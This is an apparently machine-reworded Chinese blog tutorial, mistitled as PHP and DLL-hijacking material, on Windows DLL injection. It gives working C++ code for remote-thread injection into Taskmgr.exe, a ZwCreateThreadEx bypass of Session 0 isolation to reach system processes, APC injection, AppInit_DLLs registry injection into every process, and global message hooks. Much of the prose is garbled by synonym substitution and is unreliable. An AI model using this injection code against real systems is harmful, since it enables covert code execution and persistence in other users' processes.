首页 » PHP教程 » php_diodll技巧_DLL劫持目标应用软件实现注入

php_diodll技巧_DLL劫持目标应用软件实现注入

duote123 2024-11-15 0

扫一扫用手机浏览

文章目录 [+]

dll注入即是让程序A强行加载程序B给定的a.dll,并实行程序B给定的a.dll里面的代码。
把稳,程序B所给定的a.dll原来并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会实行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开拓者设计,因此程序B的开拓者可以对程序A为所欲为。

实现:

加载Dll的API便是LoadLibrary,它的参数是保存要加载的DLL的路径的地址。
以是DLL注入的核心便是把要注入的DLL的路径写到目标进程中,然后在目标进程中调用LoadLibrary函数,并且指定参数为保存了DLL路径的地址。

php_diodll技巧_DLL劫持目标应用软件实现注入

LoadLibrary函数

php_diodll技巧_DLL劫持目标应用软件实现注入
(图片来自网络侵删)

HMODULE WINAPI LoadLibrary(__in LPCTSTR lpFileName);

这个函数同样也只须要一个参数,这个参数是一个地址,而这个地址中保存的是我们要加载的DLL的名称的字符串

跟exe有个main或者WinMain入口函数一样,DLL也有一个入口函数,便是DllMain。
当利用LoadLibrary函数加载DLL时,系统会调用DLL的入口点函数

// dllmain.cpp : 定义 DLL 运用程序的入口点。
#include "pch.h"BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

会有如下文件,当DLL的状态发生变革的时候,就会调用DllMain函数。
而通报的ul_reason_for_call这个参数代表了4种不同的状态变革的情形,我们就可以根据这四种不同的状态根据须要来写出相应的代码,就会让注入的DLL实行我们须要的功能

ul_reason_for_call的值

代表的状态

DLL_PROCESS_ATTACH

Dll刚刚映射到进程空间中

DLL_THREAD_ATTACH

进程中有新线程创建

DLL_THREAD_DETACH

进程中有新线程销毁

DLL_PROCESS_DETACH

Dll从进程空间中打仗映射

代码框架:

#include <cstdio>#include <Windows.h>#include <TlHelp32.h>#define PROCESS_NAME "Taskmgr.exe" //要注入的进程名,这个是任务管理器的进程名#define DLL_NAME "InjectDll.dll" //要注入的DLL的名称 BOOL InjectDll(DWORD dwPid, CHAR szDllName[]); //注入DLLDWORD GetPID(PCHAR pProName); //根据进程名获取PIDVOID ShowError(PCHAR msg); //打印缺点信息BOOL EnbalePrivileges(HANDLE hProcess, char pszPrivilegesName); //提升进程权限 int main(){ CHAR szDllPath[MAX_PATH] = { 0 }; //保存要注入的DLL的路径 DWORD dwPID = 0; //保存要注入的进程的PID // 提升当提高程令牌权限 if (!EnbalePrivileges(GetCurrentProcess(), SE_DEBUG_NAME)) { printf("权限提升失落败\n"); } dwPID = GetPID(PROCESS_NAME); if (dwPID == 0) { printf("没有找到要注入的进程\n"); goto exit; } GetCurrentDirectory(MAX_PATH, szDllPath); //获取程序的目录 strcat(szDllPath, "\\"); strcat(szDllPath, DLL_NAME); //与DLL名字拼接得到DLL的完全路径 printf("要注入的进程名:%s PID:%d\n", PROCESS_NAME, dwPID); printf("要注入的DLL的完全路径%s\n", szDllPath); if (InjectDll(dwPID, szDllPath)) { printf("Dll注入成功\n"); }exit: system("pause"); return 0;} BOOL InjectDll(DWORD dwPid, CHAR szDllName[]){ BOOL bRet = TRUE; return bRet;} DWORD GetPID(PCHAR pProName){ PROCESSENTRY32 pe32 = { 0 }; HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); BOOL bRet = FALSE; DWORD dwPID = 0; if (hSnap == INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot process %d\n", GetLastError()); goto exit; } pe32.dwSize = sizeof(pe32); bRet = Process32First(hSnap, &pe32); while (bRet) { if (lstrcmp(pe32.szExeFile, pProName) == 0) { dwPID = pe32.th32ProcessID; break; } bRet = Process32Next(hSnap, &pe32); } CloseHandle(hSnap);exit: return dwPID;} VOID ShowError(PCHAR msg){ printf("%s Error %d\n", msg, GetLastError());} BOOL EnbalePrivileges(HANDLE hProcess, char pszPrivilegesName){ HANDLE hToken = NULL; LUID luidValue = { 0 }; TOKEN_PRIVILEGES tokenPrivileges = { 0 }; BOOL bRet = FALSE; DWORD dwRet = 0; // 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄 if (!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)) { ShowError("OpenProcessToken"); goto exit; } // 获取本地系统的 pszPrivilegesName 特权的LUID值 if (!LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue)) { ShowError("LookupPrivilegeValue"); goto exit; } // 设置提升权限信息 tokenPrivileges.PrivilegeCount = 1; tokenPrivileges.Privileges[0].Luid = luidValue; tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 提升进程令牌访问权限 if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL)) { ShowError("AdjustTokenPrivileges"); goto exit; } else { // 根据缺点码判断是否特权都设置成功 dwRet = ::GetLastError(); if (ERROR_SUCCESS == dwRet) { bRet = TRUE; goto exit; } else if (ERROR_NOT_ALL_ASSIGNED == dwRet) { ShowError("ERROR_NOT_ALL_ASSIGNED"); goto exit; } }exit: return bRet;}

远程线程注入:

远程线程注入大略的说,便是调用CreateRemoteThread(),在其他的进程中创建一条线程,实行LoadLibrary(),将特定的DLL加载到进程中间.

由于我们不能轻易的掌握别人进程中的线程,因此这种方法哀求我们在目标进程中创建一个线程并在线程中实行LoadLibrary函数加载我们要注入的dll。
幸运的是Windows为我们供应了CreateRemoteThread函数,它使得在另一个进程中创建一个线程变得非常随意马虎。

HANDLE WINAPI CreateRemoteThread( _In_ HANDLE hProcess, /要创建线程的进程句柄 _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,/新线程的安全描述符 _In_ SIZE_T dwStackSize, /堆栈起始大小,为0表示默认大小 _In_ LPTHREAD_START_ROUTINE lpStartAddress,/表示要运行线程的起始地址 _In_ LPVOID lpParameter,/保存要通报给线程参数的地址 _In_ DWORD dwCreationFlags,/掌握线程创建的标志,为0表示创建后立即实行 _Out_ LPDWORD lpThreadId/指向吸收线程标识符变量的指针。
为NULL表示不返回线程标识符);

hProcess用来指定在哪个进程中创建新线程lpStartAddress用来指定将进程中的哪个地址开始作为新线程运行的起始地址lpParameter保存的也是一个地址,这个地址中保存的便是新线程要用到的参数

只要我们可以获取新进程中的LoadLibrary函数的地址以及包含有要加载的DLL的字符串的地址就可以通过CreateRemoteThread函数来成功开起一个线程实行LoadLibrary函数来加载我们的DLL。

那么现在的问题便是如何得到LoadLibrary函数的地址以及保存有要加载的DLL路径的字符串的地址。

对付LoadLibrary函数,由于它是在常用的系统DLL,也便是KERNEL32.dll中,以是这个DLL是可以按照它的ImageBase成功装载到每个进程的空间中。
这样的话Kernel32.dll在每个进程中的起始地址是一样的,那么LoadLibrary函数的地址也就会一样。
那么我们就可以在本进程中查找LoadLibrary函数的地址,并且完备可以相信,在要注入DLL的进程中LoadLibrary的地址也是这个。

对付LoadLibrary函数,由于它是在常用的系统DLL,也便是KERNEL32.dll中,以是这个DLL是可以按照它的ImageBase成功装载到每个进程的空间中。
这样的话Kernel32.dll在每个进程中的起始地址是一样的,那么LoadLibrary函数的地址也就会一样。
那么我们就可以在本进程中查找LoadLibrary函数的地址,并且完备可以相信,在要注入DLL的进程中LoadLibrary的地址也是这个。

至于DLL名称的字符串,我们可以通过在进程中申请一块可以将DLL完全路径写入的内存,并在这个内存中将DLL的完全路径写入,将写入到注入进程DLL完全路径的内存地址作为参数就可以实现进程的注入

把稳:在开始注入前,还须要确认一件事,便是目标进程利用的字符编码办法。
由于我们所调用的LoadLibrary函数在底层实际调用有两种可能: 如果目标程序利用的是ANSI编码办法,LoadLibrary实际调用的是LoadLibraryA,其参数字符串应该是ANSI编码; 如果目标程序利用的是Unicode编码办法,LoadLibrary实际调用的是LoadLibraryW,其参数字符串应该是Unicode编码。
这使得注入过程变得很麻烦,为了减少繁芜性,不妨直策应用LoadLibraryA或LoadLibraryW而不是用LoadLibrary函数来避免这一麻烦。
其余,纵然利用的是LoadLibraryA,LoadLibraryA也会将传入的ANSI编码的字符串参数转换成Unicode编码后再调用LoadLibraryW。
综上,不妨同等利用LoadLibraryW函数,并且字符串用Unicode编码即可。
末了,我们可能会为得到目标进程中LoadLibraryW函数的起始地址而头疼,但实在这个问题也很大略,由于目标进程中函数LoadLibraryW的起始地址和我们的进程中的LoadLibraryW函数的起始地址是一样的。
因此我们只须要用GetProcAddress即可得到LoadLibraryW函数的起始地址。

步骤:

(1).用VirtualAllocEx函数在目标进程的地址空间等分配一块足够大的内存用于保存被注入的dll的路径。
(2).用WriteProcessMemory函数把本进程中保存dll路径的内存中的数据拷贝到第(1)步得到的目标进程的内存中。
(3).用GetProcAddress函数得到LoadLibraryW函数的起始地址。
LoadLibraryW函数位于Kernel32.dll中。
(4).用CreateRemoteThread函数让目标进程实行LoadLibraryW来加载被注入的dll。
函数结束将返回载入dll后的模块句柄。
(5).用VirtualFreeEx开释第(1)步开辟的内存。
在须要卸载dll时我们可以在上述第(5)步的根本上连续实行以下步骤: (6).用GetProcAddress函数得到FreeLibrary函数的起始地址。
FreeLibrary函数位于Kernel32.dll中。
(7).用CreateRemoteThread函数让目标进程实行FreeLibrary来卸载被注入的dll。
(其参数是第(4)步返回的模块句柄)。

BOOL InjectDll(DWORD dwPid, CHAR szDllName[]){ BOOL bRet = TRUE; HANDLE hProcess = NULL, hRemoteThread = NULL; HMODULE hKernel32 = NULL; DWORD dwSize = 0; LPVOID pDllPathAddr = NULL; PVOID pLoadLibraryAddr = NULL; // 打开注入进程,获取进程句柄 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if (NULL == hProcess) { ShowError("OpenProcess"); bRet = FALSE; goto exit; } // 在注入进程中申请可以容纳DLL完成路径名的内存空间 dwSize = 1 + strlen(szDllName); pDllPathAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (!pDllPathAddr) { ShowError("VirtualAllocEx"); bRet = FALSE; goto exit; } // 把DLL完全路径名写入进程中 if (!WriteProcessMemory(hProcess, pDllPathAddr, szDllName, dwSize, NULL)) { ShowError("WriteProcessMemory"); bRet = FALSE; goto exit; } hKernel32 = LoadLibrary("kernel32.dll"); if (hKernel32 == NULL) { ShowError("LoadLibrary"); bRet = FALSE; goto exit; } // 获取LoadLibraryA函数地址 pLoadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA"); if (pLoadLibraryAddr == NULL) { ShowError("GetProcAddress "); bRet = FALSE; goto exit; } //创建远程线程进行DLL注入 hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibraryAddr, pDllPathAddr, 0, NULL); if (hRemoteThread == NULL) { ShowError("CreateRemoteThread"); bRet = FALSE; goto exit; } exit: if (hKernel32) FreeLibrary(hKernel32); if (hProcess) CloseHandle(hProcess); if (hRemoteThread) CloseHandle(hRemoteThread); return bRet;}

补充:

上面的方法虽然可以方便的注入DLL。
但是在WIN7,WIN10系统上,会由于SESSION 0隔离机制从而导致只能成功注入普通的用户进程,如果注入系统进程就会导致失落败。
而经由逆向剖析创造,利用Kernel32.dll中的CreateRemoteThread进行注入的时候,程序会走到ntdll.dll中的ZwCreateThreadEx函数进行实行。
这是一个未导出的函数,以是须要手动获取函数地址来进行调用,比较于CreateRemoteThread更加底层。
这个函数在64位和32位系统中的函数声明也不相同,在64位中的声明如下

typedef DWORD(WINAPI pFnZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);

它会导致线程创建的时候就被挂起,随后查看要运行的进程所在的会话层之后再决定是否要规复线程的运行。
以是要破解这种情形只须要将第7个参数设为0就可以,相应代码如下

typedef DWORD(WINAPI pFnZwCreateThreadEx)(PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, BOOL, DWORD, DWORD, DWORD, LPVOID); BOOL InjectDll(DWORD dwPid, CHAR szDllName[]){ BOOL bRet = TRUE; HANDLE hProcess = NULL, hRemoteThread = NULL; HMODULE hKernel32 = NULL, hNtDll = NULL; DWORD dwSize = 0; LPVOID pDllPathAddr = NULL; PVOID pLoadLibraryAddr = NULL; pFnZwCreateThreadEx ZwCreateThreadEx = NULL; // 打开注入进程,获取进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if (NULL == hProcess) { ShowError("OpenProcess"); bRet = FALSE; goto exit; } // 在注入进程中申请可以容纳DLL完成路径名的内存空间 dwSize = 1 + strlen(szDllName); pDllPathAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (!pDllPathAddr) { ShowError("VirtualAllocEx"); bRet = FALSE; goto exit; } // 把DLL完成路径名写入进程中 if (!WriteProcessMemory(hProcess, pDllPathAddr, szDllName, dwSize, NULL)) { ShowError("WriteProcessMemory"); bRet = FALSE; goto exit; } hKernel32 = LoadLibrary("kernel32.dll"); if (hKernel32 == NULL) { ShowError("LoadLibrary kernel32"); bRet = FALSE; goto exit; } // 获取LoadLibraryA函数地址 pLoadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA"); if (pLoadLibraryAddr == NULL) { ShowError("GetProcAddress LoadLibraryA"); bRet = FALSE; goto exit; } hNtDll = LoadLibrary("ntdll.dll"); if (hNtDll == NULL) { ShowError("LoadLibrary ntdll"); bRet = FALSE; goto exit; } ZwCreateThreadEx = (pFnZwCreateThreadEx)GetProcAddress(hNtDll, "ZwCreateThreadEx"); if (!ZwCreateThreadEx) { ShowError("GetProcAddress ZwCreateThreadEx"); bRet = FALSE; goto exit; } ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pLoadLibraryAddr, pDllPathAddr, 0, 0, 0, 0, NULL); if (hRemoteThread == NULL) { ShowError("ZwCreateThreadEx"); bRet = FALSE; goto exit; }exit: if (hKernel32) FreeLibrary(hKernel32); if (hNtDll) FreeLibrary(hNtDll); if (hProcess) CloseHandle(hProcess); if (hRemoteThread) CloseHandle(hRemoteThread); return bRet;}APC注入:

APC 是一个简称,详细名字叫做异步过程调用,我们看下MSDN中的阐明,异步过程调用,属于是同步工具中的函数,以是去同步工具中查看.

异步函数调用的事理:

异步过程调用是一种能在特定线程环境中异步实行的系统机制。

异步实行:

A.所有异步程序的实行,都会在同步程序之后在实行B.异步程序自己之间的实行顺序,如果韶光是相同的,那么便是按代码的先后顺序执 行,否则是韶光短的会先实行。

1,从一行代码开始实行程序

2,同步程序正常实行

3,如果创造是异步程序,暂时不实行,存储在异步池中,等待实行

4,将程序中所有的同步程序实行完毕后

5,开启异步池,实行异步程序,当设定的韶光到达,就会实行对应的异步升序

先到设定时间的异步程序先实行, 如果设定的韶光相同,看异步程序的顺序,来实行

回调函数:

函数也可以作为函数的参数来通报

你到一个商店买东西,刚好你要的东西没有货,于是你在店员那里留下了你的电话,过了几天店里有货了,店员就打了你的电话,然后你接到电话后就到店里去取了货。

在这个例子里,你的电话号码就叫回调函数,你把电话留给店员就叫登记回调函数,店里后来有货了叫做 触发回调事宜,店员给你打电话叫做 调用回调函数,你到店里去取货叫做 相应回调事宜。

程序的APC

往线程APC行列步队添加APC,系统会产生一个软中断。
在线程下一次被调度的时候,就会实行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由运用程序产生的APC被称为用户模式APC

那么利用APC场合的注入就有了,

1.必须是多线程环境下

2.注入的程序必须会调用上面的那些同步工具.

那么我们可以注入APC,把稳下条件,也不是所有都能注入的.

注入方法的事理:

1.当对面程序实行到某一个上面的等待函数的时候,系统会产生一个中断

2.当线程唤醒的时候,这个线程会优先去Apc行列步队中调用回调函数

3.我们利用QueueUserApc,往这个行列步队中插入一个回调

4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们利用VirtualAllocEx申请内存,并且写入进去

利用方法:

1.利用快照列举所有的线程

2.写入远程内存,写入的是Dll的路径

3.插入我们的DLL即可

要往APC行列步队中增加APC函数,须要通过QueueUserAPC函数来实现,这个函数在文档中的定义如下

DWORD WINAPI QueueUserAPC( __in PAPCFUNC pfnAPC, /当知足条件时,要实行的APC函数的地址 __in HANDLE hThread, /指定增加APC函数的线程句柄 __in ULONG_PTR dwData); /要实行的APC函数参数地址

可以看到pfnAPC和dwData这两个参数和CreateRemoteThread中的lpStartAddress和lpParameter的浸染是一样的。
不过这里是对线程进行操作,一个进程有多个线程。
所以为了确保程序精确运行,以是须要遍历所有线程,查看是否是要注入的进程的线程,依次得到句柄插入APC函数。
详细代码如下

BOOL InjectDll(DWORD dwPid, CHAR szDllName[]){ BOOL bRet = TRUE; HANDLE hProcess = NULL, hThread = NULL, hSnap = NULL; HMODULE hKernel32 = NULL; DWORD dwSize = 0; PVOID pDllPathAddr = NULL; PVOID pLoadLibraryAddr = NULL; THREADENTRY32 te32 = { 0 }; // 打开注入进程,获取进程句柄 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if (NULL == hProcess) { ShowError("OpenProcess"); bRet = FALSE; goto exit; } // 在注入进程中申请可以容纳DLL完成路径名的内存空间 dwSize = 1 + strlen(szDllName); pDllPathAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (!pDllPathAddr) { ShowError("VirtualAllocEx"); bRet = FALSE; goto exit; } // 把DLL完成路径名写入进程中 if (!WriteProcessMemory(hProcess, pDllPathAddr, szDllName, dwSize, NULL)) { ShowError("WriteProcessMemory"); bRet = FALSE; goto exit; } hKernel32 = LoadLibrary("kernel32.dll"); if (hKernel32 == NULL) { ShowError("LoadLibrary"); bRet = FALSE; goto exit; } // 获取LoadLibraryA函数地址 pLoadLibraryAddr = GetProcAddress(hKernel32, "LoadLibraryA"); if (pLoadLibraryAddr == NULL) { ShowError("GetProcAddress"); bRet = FALSE; goto exit; } //得到线程快照 hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (!hSnap) { ShowError("CreateToolhelp32Snapshot"); bRet = FALSE; goto exit; } //遍历线程 te32.dwSize = sizeof(te32); if (Thread32First(hSnap, &te32)) { do { //这个线程的进程ID是不是要注入的进程的PID if (te32.th32OwnerProcessID == dwPid) { hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID); if (hThread) { QueueUserAPC((PAPCFUNC)pLoadLibraryAddr, hThread, (ULONG_PTR)pDllPathAddr); CloseHandle(hThread); hThread = NULL; } else { ShowError("OpenThread"); bRet = FALSE; goto exit; } } } while (Thread32Next(hSnap, &te32)); }exit: if (hKernel32) FreeLibrary(hKernel32); if (hProcess) CloseHandle(hProcess); if (hThread) CloseHandle(hThread); return bRet;}注册表注入:

什么是注册表注册表是windows操作系统、硬件设备以及客户运用程序得以正常运行和保存设置的核心“数据库”,也可以说是一个非常巨大的树状分层构造的数据库系统。

注入事理:

在cmd输入regedit打开注册表。
定位HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows项

是一种比较大略的注入,紧张依赖于俩个表项,AppInit_Dlls和LoadAppInit_DLLs。
AppInit_Dlls写入dll完全路径,LoadAppInit_DLLs写为1,重启后,指定DLL会注入到所有运行进程。

AppInit_DLLs键的值可以是一个dll的文件名或一组dll的文件名(通过逗号或空格来分隔),由于空格是用来分隔文件名的,因此dll文件名不能含有空格。
第一个dll的文件名可以包含路径,但其他的dll包含的路径将被忽略。
LoadAppInit_DLLs键的值表示AppInit_DLLs键是否有效,为了让AppInit_DLLs键的值有效,须要将LoadAppInit_DLLs的值设置为1。
这两个键值设定后,当运用程序启动并加载User32.dll时,会得到上述注册表键的值,并调用LoadLibrary来调用这些字符串中指定的每一个dll。
这时每个被载入的dll可以完成相应的初始化事情。
但是须要把稳的是,由于被注入的dll是在进程生命期的早期被载入的,因此这些dll在调用函数时应慎重。
调用Kernel32.dll中的函数该当没有问题,由于Kernel32.dll是在User32.dll载入前已被加载。
但是调用其他的dll中的函数时应该把稳,由于进程可能还未载入相应的dll,严重时可能会导致蓝屏。
这种方法很大略,只须要在注册表中修正两个键的值即可,但是有如下缺陷: 1.只有调用了User32.dll的进程才会发生这种dll注入。
也便是说某些CUI程序(掌握台运用程序)可能无法完成dll注入,比如将dll注入到编译器或链接器中是不可行的。
2.该方法会使得所有的调用了User32.dll的程序都被注入指定的dll,如果你仅仅想对某些程序注入dll,这样很多进程将成为无辜的被注入着,并且其他程序你可能并不理解,盲目的注入会使得其他程序发生崩溃的可能性增大。
3.这种注入会使得在运用程序的全体生命周期内被注入的dll都不会被卸载。
注入dll的原则是值在须要的韶光才注入我们的dll,并在不须要时及时卸载。

注入流程

第一步:打开注册表键值如下:

HKEY_LOCAL_MACHINE\SoftWare\MicroSoft\Windows NT\CurrentVersion\Windows

第二步:修正AppInit_Dlls

在该键值中添加自己的DLL的全路径加dll名,多个DLL以逗号或者空格分开(因此在文件名中该当只管即便不要存在空格),该键值只有第一个dll文件名可以包含路径,后面的都不能包含,因此我们最好将dll放在系统路径 下,这样就可以不用包含路径也能被加载了。

第三步:修正LoadAppInit_DLLs

在该注册表项中添加键值 LoadAppInit_DLLs ,类型为 DWORD,并将其值置为 1 .

代码实现

BOOL InjectDll(DWORD dwPid, CHAR szDllName[]){ BOOL bRet = TRUE; HKEY hKey = NULL; CHAR szAppKeyName[] = { "AppInit_DLLs" }; CHAR szLoadAppKeyName[] = { "LoadAppInit_DLLs" }; DWORD dwLoadAppInit = 1; //设置LoadAppInit_DLLs的值 //打开相应注册表键 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) { ShowError("RegOpenKeyEx"); bRet = FALSE; goto exit; } //设置AppInit_DLLs为相应的DLL路径 if (RegSetValueEx(hKey, szAppKeyName, 0, REG_SZ, (PBYTE)szDllName, strlen(szDllName) + 1) != ERROR_SUCCESS) { ShowError("RegSetValueEx"); bRet = FALSE; goto exit; } //将LoadAppInit_DLLs的值设为1 if (RegSetValueEx(hKey, szLoadAppKeyName, 0, REG_DWORD, (PBYTE)&dwLoadAppInit, sizeof(dwLoadAppInit)) != ERROR_SUCCESS) { ShowError("RegSetValueEx"); bRet = FALSE; goto exit; }exit: return bRet;}全局钩子注入:

Windows系统中的大多数运用都是基于机制的,也便是说它们都有一个过程函数,可以根据收到的不同来实行不同的代码。
基于这种机制,Windows掩护了一个OS message queue以及为每个程序掩护着一个application message queue。
当发生各种事宜的时候,比如敲击键盘,点击鼠标等等,操作系统会从OS message queue将取出给到相应的程序的application message queue。

而OS message queue和application message queue的中间有一个称为钩链的结果如下

在这个钩链中保存的便是设置的各种钩子函数,而这些钩子函数会比运用程序还早吸收到并对进行处理。
以是程序员可以通过在钩子中设置钩子函数,而要设置钩子函数就须要利用SetWindowHookEx来将钩子函数安装到钩链中,函数在文档中的定义如下

HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);

参数

含义

idHook

要安装的钩子类型,为了挂全局钩子,这里选择WH_GETMESSAGE。
表示的是安装一个挂钩过程,它监视发送到行列步队的

lpfn

表示的是钩子的回调函数。
如果dwThreadId为0,则lpfn指向的钩子过程必须指向DLL中的钩子过程

hMod

包含由lpfn参数实行的钩子过程的DLL句柄

dwThreadId

与钩子过程关联的线程标识符,如果为0则表示与所有线程干系联。

如果函数成功,则返回钩子过程的句柄,否则为NULL。

根据上面的先容可以得知,想要创建一个全局钩子,就必须在DLL文件中创建。
这是由于进程的地址空间是独立的,发生对应事宜的进程不能调用其他进程地址空间的钩子函数。
如果钩子函数的实当代码在DLL中,则在对应事宜发生时,系统会把这个DLL加载到发生事宜的进程地址空间中,使它可以调用钩子函数进行处理。

以是只要在系统中安装了全局钩子,那么只要进程吸收到可以发出钩子的,全局钩子的DLL就会被系统自动或者强行加载到进程空间中,这就可以实现DLL注入。

而这里之以是设置为WH_GETMESSAGE,是由于这种类型的钩子会监视行列步队,又由于Windows系统是基于驱动的,以是所有的进程都会有自己的一个行列步队,都会加载WH_GETMESSAGE类型的全局钩子。

当idHook设置为WH_GETMESSAGE的时候,回调函数lpfn的定义如下

LRESULT CALLBACK GetMsgProc(int code, WPARAM wParam, LPARAM lParam);

参数

含义

code

指定钩子过程是否必须处理该。
如果代码是HC_ACTION,则钩子过程必须处理该。
如果代码小于零,则钩子过程必须将通报给CallNextHookEx函数而无需进一步处理,并且该当返回CallNextHookEx返回的值

wParam

指定是否已从行列步队中删除。
此参数可以是以下值之一。

PM_NOREMOVE:指定尚未从行列步队中删除

PM_REMOVE:指定已从行列步队中删除

lParam

指向包含详细信息的MSG构造体的指针

当用户不须要再进行钩取时只需调用UnhookWindowsHookEx即可解除安装的钩子,函数的原型如下:

BOOL WINAPI UnhookWindowsHookEx( _In_ HHOOK hhk);

hhk参数是之前调用SetWindowsHookEx函数返回的HHOOK变量。
这个函数调用成功后会使被注入过dll的锁计数器递减1,当锁计数器减到0时系统会卸载被注入的dll。

过程:

1.调用SetWindowsHookEx设置钩子.

2.在设置过程中.须要一个回调.以是我们填入一个回调.(个人tips:这个地方可以设置自写函数,自写功能)

3.回调函数中调用CallNextHookEx函数. 如果不调用.那么相称于我们设置了不反悔.程序可能涌现问题.当然是按需返回.(个人tips:如果不调用,这里可能就打乱程序原有的后续代码逻辑)

4.取消HOOK设置.(个人tips:降落性能,以是须要取消)

把稳:钩子函数应该放在一个dll中,并且在你的进程中LoadLibrary这个dll。
然后再调用SetWindowsHookEx函数对相应类型的安装钩子。

由于设置全局钩子的代码须要在DLL文件中完成,以是首先须要新建一个dll文件。

phc.h

#include "framework.h"extern "C" _declspec(dllexport) int SetGlobalHook();extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);extern "C" _declspec(dllexport) BOOL UnsetGlobalHook();

dllmain.cpp

// dllmain.cpp : 定义 DLL 运用程序的入口点。
#include "pch.h" HMODULE g_hDllModule = NULL; BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { g_hDllModule = hModule; break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

pch.cpp

#include "pch.h" #include <windows.h> #include <stdio.h> extern HMODULE g_hDllModule; // 共享内存#pragma data_seg("mydata") HHOOK g_hHook = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS") //钩子回调函数 LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam){ return ::CallNextHookEx(g_hHook, code, wParam, lParam); } // 设置钩子 BOOL SetGlobalHook() { g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0); if (NULL == g_hHook) { return FALSE; } return TRUE; } // 卸载钩子 BOOL UnsetGlobalHook() { if (g_hHook) { UnhookWindowsHookEx(g_hHook); } return TRUE; }

SetGlobalHook(): 设置全局钩子,WH_GETMESSAGE为监视发送到行列步队的的钩子,第二个参数则为钩子的回调函数。

GetMsgProc(): 钩子的回调函数,CallNextHookEx表示将当前钩子通报给下一个钩子,若返回值为0,表示中断钩子通报,对钩子进行拦截。

UnsetGlobalHook(): 卸载钩子 共

享内存: 由于全局钩子因此DLL形式加载到进程中,进程都是独立的,要将进程句柄通报给其他进程,可以利用共享内存打破进程独立性,利用"/SECTION:mydata,RWS"设置为可读可写可共享的数据段。

创建c++空项目 编译下面代码,将hookDll.dll放在天生的exe下,运行

#include <windows.h> #include <stdio.h> typedef BOOL(PEN_HOOKSTART)(); typedef BOOL(PEN_HOOKSTOP)(); int main() { //加载dll HMODULE hDll = LoadLibrary(L"./hookDll.dll"); if (NULL == hDll) { printf("LoadLibrary Error[%d]\n", ::GetLastError()); return 1; } BOOL isHook = FALSE; //导出函数地址 PEN_HOOKSTART SetGlobalHook = (PEN_HOOKSTART)GetProcAddress(hDll, "SetGlobalHook");if (NULL == SetGlobalHook) { printf("SetGlobalHook:GetProcAddress Error[%d]\n", GetLastError()); return 2; } PEN_HOOKSTOP UnsetGlobalHook = (PEN_HOOKSTOP)GetProcAddress(hDll, "UnsetGlobalHook"); if (NULL == UnsetGlobalHook) { printf("UnsetGlobalHook:GetProcAddress Error[%d]\n", GetLastError()); return 3; } isHook=SetGlobalHook(); if (isHook) { printf("Hook is ok!\n"); } else { printf("Hook is error[%d]\n", GetLastError()); } system("pause"); UnsetGlobalHook(); FreeLibrary(hDll); return 0; }

利用Process Explorer查看dll:

被注入成功

参考:

https://bbs.pediy.com/thread-269910.htm#msg_header_h1_2

https://www.cnblogs.com/wf751620780/p/10730013.html#autoid-4-5-0

标签:

相关文章

今日头条算法岗位面试核心方法与必备知识

大数据、人工智能等技术在各行各业得到了广泛应用。今日头条作为中国领先的资讯平台,其算法技术更是备受关注。今日头条算法岗位面试成为了...

PHP教程 2025-01-31 阅读0 评论0

今日头条算法推送如何打造个化阅读体验

